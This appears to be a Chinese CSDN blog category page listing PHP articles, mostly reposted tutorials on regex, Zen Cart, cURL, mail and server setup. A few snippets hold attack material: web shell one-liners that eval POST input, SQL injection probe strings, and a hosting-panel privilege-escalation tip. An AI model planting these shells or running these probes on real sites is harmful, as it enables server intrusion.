PHP
文章平均质量分 89
沧海一波
这个作者很懒,什么都没留下…
展开
-
PHP Cookie
cookie 是服务器留在用户计算机中的小文件,网站可以用它来识别访问网站的计算机。创建 cookie通过 setcookie() 函数来创建一个 cookie ,成功返回 TRUE ,否则返回 FALSE 。语法:bool setcookie( string name [, string value [, int expire [, string path [, string d转载 2012-03-19 11:33:16 · 357 阅读 · 0 评论 -
常用的正则表达式
常用的正则表达式主要有以下几种: 匹配中文字符的正则表达式: [\u4e00-\u9fa5] 评注:匹配中文还真是个头疼的事,有了这个表达式就好办了哦 获取日期正则表达式:\d{4}[年|\-|\.]\d{\1-\12}[月|\-|\.]\d{\1-\31}日? 评注:可用来匹配大多数年月日信息。 匹配双字节字符(包括汉字在内):[^\x00-转载 2012-04-19 16:25:00 · 282 阅读 · 0 评论 -
PHP正则表达式经验
正则表达式是一种可以用于模式匹配的强大工具。简单地说,正则表达式就是一套规则,用于判定其他的元素是否符合它。举一个简单的例子:在一个用户注册的页面中(例如,一个论坛或者交友网站的注册页面),上面可能有“电子邮件”这一项需要填写。对系统来说,需要判定用户所填写的电子邮件地址是否合法,即是否符合电子邮件地址的规则。利用字符串操作技术可以实现这个功能。function val转载 2012-04-19 19:01:17 · 901 阅读 · 0 评论 -
正则表达式转义字符表
字符匹配语法:\d 匹配数字(0~9) ‘\d’匹配8,不匹配12;\D 匹配非数字 ‘\D’匹配c,不匹配3;\w 匹配任意单字符 ‘\w\w’ 匹配A3,不匹配@3;\W 匹配非单字符 ‘\W’匹配@,不匹配c;\s 匹配空白字符 ‘\d\s\d’匹配3 d,不匹配abc;\S 匹配非空字符 ‘\S\S\S’匹配A#4,不匹配3 d;.转载 2012-04-19 19:05:45 · 1440 阅读 · 0 评论 -
PHP正则表达式 /i, /is, /s, /isU等参数含义详解
i: 表示in-casesensitive,即大小写不敏感s: PCRE_DOTALL,表示点号可以匹配换行符。U: 表示PCRE_UNGREEDY,表示非贪婪,相当于perl/python语言的.*?,在匹配过程中,对于.*正则,一有匹配立即执行,而不是等.*消费了所有字符再一一回退。 PHP正则表达式模式后面通常带有 /i, /is, /s, /isU等参数,那么这都是些什么转载 2012-04-19 16:41:42 · 509 阅读 · 0 评论 -
天天团购二次开发
天天团购系统是一套领先的PHP开源团购程序,拥有高效的系统架构和强大的管理功能,同时支持团购优惠券、团购实物,并有类似淘宝的快递配送体系等,是目前最受欢迎的开源团购系统;天天团购系统内置支付宝、财付通等在线支付接口,所有网银用户均可无障碍支付,还支持余额支付、线下转账、货到付款等;另外系统还集成了 Ucenter模块,可与所有集成该模块的系统(比如discuz、记事狗微博系统)无缝整合,实转载 2012-05-08 16:23:45 · 14762 阅读 · 0 评论 -
Zencart: Data too long...(Zencar目录名/文件名太长)的解决方法
执行以下SQL语句即可,这方便了想做长尾关键词SEO的朋友:ALTER TABLE zcz_products MODIFY products_model varchar(256) ;ALTER TABLE zcz_products_description MODIFY products_name varchar(256) ;ALTER TABLE zcz_address_book转载 2012-05-24 14:35:28 · 789 阅读 · 0 评论 -
Cannot start session without errors 错误解决办法
Cannot start session without errors, please check errors 错误解决办法打开phpmyadmin出现如下错误:Cannot start session without errors, please check errors given in your PHP and/or webserver log file and confi转载 2012-05-21 17:27:37 · 660 阅读 · 0 评论 -
ISAPI_Rewrite3配置
ISAPI_Rewrite3_0087破解下载地址 http://download.csdn.net/detail/lxu220/4124992第一步:官方原版下载地址:http://www.helicontech.com/download/isapi_rewrite/ISAPI_Rewrite3_0087.msi安装完官方版本后 把破解文件覆盖安装根目录【ISAPI_Rewrit转载 2012-05-24 11:27:59 · 3175 阅读 · 0 评论 -
ZENCART显示二级菜单导航
模型:/** * categories_subs.php module * * @version $Id: categories_subs.php 2012-04-28 by harryxlb $ */if (!defined('IS_ADMIN_FLAG')) { die('Illegal Access');}$order_by = " order原创 2012-05-02 19:49:38 · 1457 阅读 · 0 评论 -
ZENCART遍历二级导航菜单
$sql = "select c.categories_id, cd.categories_name,c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id=cd.cat转载 2012-05-02 19:01:49 · 1447 阅读 · 0 评论 -
PHP二级分类查询显示方法
如题:求解 PHP 多级分类查询显示方法!数据库:id f_id name1 0 理科2 0 文科3 0 艺术4 1 数学5 1 化学6 2 语文7 2 政治8 3 绘画8 3 摄影转载 2012-04-28 20:40:11 · 4759 阅读 · 1 评论 -
脚本安全的本质 PHP篇
一 前言 问题的存在 从代码级别上,也就是应用层次上考虑代码安全的话(也就是不考虑底层的语言本身等问题的漏洞),脚本安全问题就是函数和变量的问题。变量直接或者间接的接收用户不安全的的输入,由于php本身的特性,在php中更容易发现这种变量的混乱(很多php程序都用来定义以及初始化以及接收变量,可以直接在程序中使用$id这样的变量,初始化完全由php的设置来完成,如果稍不注意,就可转载 2012-03-20 09:46:01 · 1189 阅读 · 0 评论 -
脚本渗透精华
脚本渗透精华第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。数字型:and 1=1 and 1=2 判断是否存在注入字符型:' and '1'='1 ' and '1'='2搜索型: 关键字%' and 1=1 and '%转载 2012-03-20 09:50:50 · 378 阅读 · 0 评论 -
PHP句法规则详解
1.简单句法规则(用花括号界定变量名,适用于PHP所有版本):$a = 'flower';echo "She received some $as";// 无效;字母s会被当成有效的变量名组成元素,但是这里的变量是$aecho "She received some ${a}s"; // 有效echo "She received some {$a}s"; // 有效;推荐的使用方法转载 2012-03-20 09:58:33 · 256 阅读 · 0 评论 -
如何删除数组中的元素
PHP中的数组要添加元素非常简单,直接用赋值就行了,数组的key会自动增加,但是要删除数组中的元素呢?你想过吗?是不是很少遇到?我近日在处理一个购物篮程序时遇到了要删除数组中元素的问题,寻找了半天,终于找到了删除数组的方法,其实很简单.开始我参照一篇文章《字符串数组,删除数组元素》(OSO中有)中的方法,用unset,但是有个缺陷.如$a是一个数组: count($a); //得到转载 2012-03-22 09:56:04 · 4448 阅读 · 0 评论 -
PHP array_splice() 函数
定义和用法array_splice() 函数与 array_slice() 函数类似,选择数组中的一系列元素,但不返回,而是删除它们并用其它值代替。如果提供了第四个参数,则之前选中的那些元素将被第四个参数指定的数组取代。最后生成的数组将会返回。语法array_splice(array,offset,length,array)参数描述array转载 2012-03-22 10:01:24 · 481 阅读 · 0 评论 -
zencart常用判断语句
利用系统模板替换机制实现同一模板分不同页面显示在当前模板根目录下创建以页面名字($current_page_base)命名的文件夹,放置需要替换的模板文件。引用语句:get_template_dir('tpl_modules_categories_tabs.php',DIR_WS_TEMPLATE, $current_page_base,'templates'). '/tpl_modu转载 2012-04-09 18:45:13 · 1174 阅读 · 0 评论 -
让zencart展示二级导航
一、zencart展示二级导航:zencart首页默认的是只显示一级分类,很多做仿牌外贸的朋友觉得只显示一级分类不好看,也不利于产品展示。怎么让zencart首页显示二级目录?下面分享给大家:打开文件’includes/classes/category_tree.php’,1)查找代码把 if (zen_not_null($cPath)) {改为 if (zen_not_n转载 2012-04-10 14:12:38 · 977 阅读 · 0 评论 -
PHP中用DOMDocument新建XML文件
当处理基于XML应用程序时,开发者经常需要建立XML编码数据结构。例如,Web中基于用户输入的XML状态模板,服务器请求XML语句,以及基于运行时间参数的客户响应。尽管XML数据结构的构建比较费时,但如果使用成熟的PHP DOM应用程序接口,一切都会变得简单明了。本文将向你介绍PHP DOM应用程序接口的主要功能,演示如何生成一个正确的XML完整文件并将其保存到磁盘中。创建文档类型声明转载 2012-04-11 15:22:19 · 590 阅读 · 0 评论 -
PHP之cURL实例详解
Why cURL?是的,我们可以通过其他办法获取网页内容。大多数时候,我因为想偷懒,都直接用简单的PHP函数:$content = file_get_contents("http://www.jb51.net");// or$lines = file("http://www.jb51.net");// orreadfile(http://www.jb51.net);转载 2012-05-24 14:53:40 · 1147 阅读 · 0 评论 -
PHP中的CURL函数库一览
PHP中的CURL函数库(Client URL Library Function) curl_close — 关闭一个curl会话 curl_copy_handle — 拷贝一个curl连接资源的所有内容和参数 curl_errno — 返回一个包含当前会话错误信息的数字编号 curl_error — 返回一个包含当前会话错误信息的字符串 curl_exec — 执行一个c转载 2012-05-24 14:44:58 · 393 阅读 · 0 评论 -
PHPMailer通过163邮箱发信
include_once('phpmailer/class.phpmailer.php');$mail = new PHPMailer();//设置SMTP发邮件$mail->IsSMTP();//发信的SMTP服务器地址$mail->Host = 'smtp.163.com';//'smtp.gmail.com';//调试时显示发信信息$mail->SMTPDebug转载 2012-05-24 16:40:54 · 6157 阅读 · 0 评论 -
php读取网络文件(curl, fsockopen ,file_get_contents 几个方法的效率对比)
最近需要获取别人网站上的音乐数据。用了file_get_contents函数,但是总是会遇到获取失败的问题,尽管按照手册中的 例子设置了超时,可多数时候不会奏效:$config['context'] = stream_context_create(array(‘http’ => array(‘method’ => “GET”, ’timeout’ => 5//这个超时时间不稳定转载 2013-01-23 14:21:51 · 1247 阅读 · 0 评论 -
Zkeys提权一则
ZKEYS 是一个国内比较常用的IDC虚拟主机系统原名:AutoHost后改名:ZKEYS 虚拟管理系统支持.NET 的话 查找注册表HKEY_LOCAL_MACHINESOFTWAREZKEYS默认会有 ZKEYS 路径找到路径后如果找不到 可以猜 一般都在根目录ZKEYS 管理系统对 目录的限制 一般都不怎么严谨所以这个时候你懂得。。。一般都在硬盘的根目转载 2013-01-24 17:00:21 · 1711 阅读 · 0 评论 -
PHP has encountered an Access Violation at *** 的问题
解决方法如下:1、更新到5.2后php版本 2、是否zend所需的dll文件所在目录给的权限不够,必须有读取和运行的权限 3、如果使用的是windows系统,是否设置过应用池,比如池中限制了什么4、高版本的PHP和Mysql存在兼容性的问题。c:/windows/system32下的libmysql.dll 使用php下的,不要使用mysql下的,因为两个程序下都有5、ph转载 2013-03-15 11:09:22 · 972 阅读 · 0 评论 -
eval(gzinflate(base64_decode无限加密文件的解密代码
eval(gzinflate(base64_decode无限加密文件的解密代码:$codefile = "function.php.txt";$fp1 = fopen($codefile, "r");$contents = fread($fp1, filesize($codefile));fclose($fp1);// while (preg_match("/eval\s\转载 2013-07-13 14:47:04 · 2742 阅读 · 0 评论 -
ASP+PHP+ASP.NET+JSP各种变形一句话大集结
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};lcx.性别((lcx.名字)+'');%>用冰狐就行了@preg_replace("/[email]/e",$_POST['h'],"error"); ?> 菜刀附加数据: h=@ev转载 2013-07-02 16:48:15 · 2705 阅读 · 0 评论 -
nginx + php ( php-fpm )编译安装
这里用的是nginx1.9, php5.3.28先准备好nginx和它依赖的源码包:pcre, openssl, zlib1>安装nginxtar zxvf pcre-8.36.tar.gztar zxvf openssl-1.0.2-latest.tar.gztar zxvf zlib-1.2.8.tar.gzmv pcre-8.36 /usr/l原创 2015-05-22 18:05:14 · 1956 阅读 · 0 评论 -
Apache服务器无法获取Authorization Header
Apache服务器无法获取Authorization Header在开发APP API的过程中发现,服务端无法时进行OAuth2.0认证,进一步断点得知问题出在apache_request_headers这个函数上。后来在stackoverflow上找到了解决方法: SetEnvIf Authorization “(.*)” HTTP_AUTHORIZATION=$1这是apache文档对它的定义:原创 2016-04-08 09:53:24 · 5702 阅读 · 0 评论 -
PHP面向对象(OOP)中__set(),__get(),__isset(),__unset()四个方法的应用
一般来说,总是把类的属性定义为private,这更符合现实的逻辑。但是, 对属性的读取和赋值操作是非常频繁的,因此在PHP5中,预定义了两个函数”__get()”和”__set()”来获取和赋值其属性,以及检查属性的”__isset()”和删除属性的方法”__unset()”。上一节中,我们为每个属性做了设置和获取的方法,在PHP5中给我们提供了专门为属性设置值和获取值的方法,”__set()转载 2012-09-25 16:16:56 · 942 阅读 · 0 评论 -
PHP如何释放内存之unset销毁变量并释放内存详解
PHP的unset()函数用来清除、销毁变量,不用的变量,我们可以用unset()将它销毁。但是某些时候,用unset()却无法达到销毁变量占用的内存!我们先看一个例子:view source?12$s = str_repeat('1',255); //产生由255个1组成的字符串转载 2012-09-25 16:21:57 · 1607 阅读 · 2 评论 -
PHP安全设置一则
不要为 SQL 语句使用 PDO 参数传值,以防止 SQL injection.务必使用 htmlspecialchars/htmlentities 和/或者 strip_tags 转义 html 和JavaScript 来防止 XSS(交叉站点脚本) 攻击.务必使用 sessions 和安全套接字来防止 session 被劫持,采用 md5 校验和来验证 session ids.转载 2012-10-16 10:17:03 · 336 阅读 · 0 评论 -
ini_setini_get 可操作配置参数列表
为了使自己的程序在不同的平台中拥有更好的兼容性,很多时候我们都要获取当前Php的运行环境参数。 比如我们常用到的: 获取 magic_quotes_gpc 状态,来决定当表单提交时我们是否转义(addslashes)数据;设定 max_execution_time 来延长 程序的执行时间;设定 error_reporting 使自己的项目在开发与运营阶段切换;设定 me转载 2012-05-24 17:06:31 · 1528 阅读 · 0 评论 -
php获取文件后缀名的几种方法
function getExt($filename) { //strrpos()函数查找字符串在另一个字符串中最后一次出现的位置。如果成功,则返回位置,否则返回 false。 $ext = strtolower ( substr ( $filename, strrpos ( $filename, '.' ) + 1 ) ); return $ext;}fu转载 2012-06-29 14:34:23 · 561 阅读 · 0 评论 -
PHP读取Excel文件的实现代码
涉及知识点: php对excel文件进行循环读取 php对字符进行ascii编码转化,将字符转为十进制数 php对excel日期格式读取,并进行显示转化 php对汉字乱码进行编码转化 在此下载PHPExcel类先:http://phpexcel.codeplex.comrequire_once 'PHPExcel.php'; /*转载 2012-05-24 17:14:11 · 438 阅读 · 0 评论 -
PHP实现计划任务的几种方法
PHP的实现决定了它没有Java和.Net这种AppServer的概念, 而http协议是一个无状态的协议, php只能被用户触发, 被调用, 调用后会自动退出内存, 没有常驻内存, 就没有办法准确的定时处理那么, 如果需要用PHP定时执行某些任务的话, 可以有以下俩个方法:Linux下crontab, windows下计划任务找个被频繁调用的网页, 里面加上一个检测代码转载 2012-08-03 13:53:35 · 4520 阅读 · 0 评论 -
PHP重载构造函数
php不支持重载类的构造函数,但自己可以实现的: class abc{ function __construct(){ $num =func_num_args(); switch ($num){ case 0: echo "none "; break; case 1: echo "one ";转载 2012-07-25 14:30:47 · 1462 阅读 · 0 评论 -
UCenter的应用整合与单点登录分析
一直在用康盛的产品,自然少不了单点登陆,最近重新研究了下ucenter的机制,其实它的基本原理就一句话:跨域设置用户信息。下面只对用户登陆做比较详细说明,其他注册、PM等操作其实原理差不多。用户登陆view sourceprint?1do_login.php[uchome]2转载 2012-08-18 23:03:39 · 1119 阅读 · 0 评论 -
PHP调用FCKEditor和CKEditor
PHP页面:/* 编辑器 */include_once "../include/fckeditor/fckeditor.php";//把编辑器引进来$editor = new FCKeditor('content');//表单项的名称$editor->BasePath = "/fckeditor/";//编辑器所在目录$editor->ToolbarSet = "Norma转载 2012-10-15 14:05:27 · 968 阅读 · 0 评论